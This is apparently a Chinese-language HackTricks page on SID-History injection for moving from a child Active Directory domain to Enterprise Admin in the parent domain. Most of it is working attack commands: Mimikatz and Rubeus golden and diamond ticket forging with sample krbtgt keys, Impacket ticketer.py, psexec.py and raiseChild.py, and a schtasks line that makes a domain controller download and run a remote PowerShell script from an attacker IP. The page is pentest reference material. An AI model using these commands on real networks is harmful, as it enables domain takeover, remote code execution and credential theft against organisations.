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162 lines
8.1 KiB
Markdown
162 lines
8.1 KiB
Markdown
# SID-History Injection
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
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* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
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</details>
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## SID History Injection 攻击
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**SID History Injection 攻击**的重点是在**用户在域之间迁移**时，确保他们可以继续访问来自以前域的资源。这是通过将用户以前的安全标识符（SID）合并到其新帐户的SID History中来实现的。值得注意的是，通过将父域中高特权组（例如企业管理员或域管理员）的SID添加到SID History中，可以操纵此过程以授予未经授权的访问权限。这种利用赋予对父域内所有资源的访问权限。
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有两种方法可用于执行此攻击：通过创建**Golden Ticket**或**Diamond Ticket**。
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要找到**"Enterprise Admins"**组的SID，首先必须找到根域的SID。在确定后，可以通过在根域的SID后附加`-519`来构建Enterprise Admins组的SID。例如，如果根域SID为`S-1-5-21-280534878-1496970234-700767426`，则"Enterprise Admins"组的结果SID将是`S-1-5-21-280534878-1496970234-700767426-519`。
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您还可以使用**Domain Admins**组，其以**512**结尾。
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另一种找到其他域组的SID（例如"Domain Admins"）的方法是：
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```powershell
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Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
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```
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### 使用KRBTGT-AES256的黄金票据（Mimikatz）
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{% code overflow="wrap" %}
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```bash
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mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
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/user is the username to impersonate (could be anything)
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/domain is the current domain.
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/sid is the current domain SID.
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/sids is the SID of the target group to add ourselves to.
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/aes256 is the AES256 key of the current domain's krbtgt account.
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--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
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/startoffset sets the start time of the ticket to 10 mins before the current time.
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/endin sets the expiry date for the ticket to 60 mins.
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/renewmax sets how long the ticket can be valid for if renewed.
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# The previous command will generate a file called ticket.kirbi
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# Just loading you can perform a dcsync attack agains the domain
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```
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{% endcode %}
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有关黄金票据的更多信息，请查看：
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{% content-ref url="golden-ticket.md" %}
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[golden-ticket.md](golden-ticket.md)
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{% endcontent-ref %}
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### 钻石票据（Rubeus + KRBTGT-AES256）
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{% code overflow="wrap" %}
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```powershell
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# Use the /sids param
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Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
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# Or a ptt with a golden ticket
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Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
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# You can use "Administrator" as username or any other string
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```
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{% endcode %}
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有关钻石票的更多信息，请查看：
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{% content-ref url="diamond-ticket.md" %}
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[diamond-ticket.md](diamond-ticket.md)
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{% endcontent-ref %}
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{% endcode %}
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```bash
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.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
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.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
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ls \\mcorp-dc.moneycorp.local\c$
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```
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{% endcode %}
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使用受损域的KRBTGT哈希值升级为DA或根管理员或企业管理员：
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```bash
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Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
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Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
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gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
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schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
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```
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{% endcode %}
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通过攻击获得的权限，您可以在新域中执行例如DCSync攻击：
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{% content-ref url="dcsync.md" %}
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[dcsync.md](dcsync.md)
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{% endcontent-ref %}
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### 从Linux
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#### 使用[ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)手动操作
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{% code overflow="wrap" %}
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```bash
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# This is for an attack from child to root domain
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# Get child domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
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# Get root domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
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# Generate golden ticket
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ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
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# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
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# JUST USE THE SAME USERNAME IN THE NEXT STEPS
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# Load ticket
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export KRB5CCNAME=hacker.ccache
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# psexec in domain controller of root
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psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
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```
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{% endcode %}
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#### 使用 [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) 进行自动化
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这是一个 Impacket 脚本，可以**自动将权限从子域升级到父域**。脚本需要：
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* 目标域控制器
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* 子域中管理员用户的凭证
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流程如下：
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* 获取父域的 Enterprise Admins 组的 SID
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* 检索子域中 KRBTGT 账户的哈希值
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* 创建一个 Golden Ticket
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* 登录到父域
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* 检索父域中管理员账户的凭证
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* 如果指定了 `target-exec` 开关，则通过 Psexec 认证到父域的域控制器。
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```bash
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raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
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```
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## 参考资料
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* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
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* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
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<details>
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<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
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</details>
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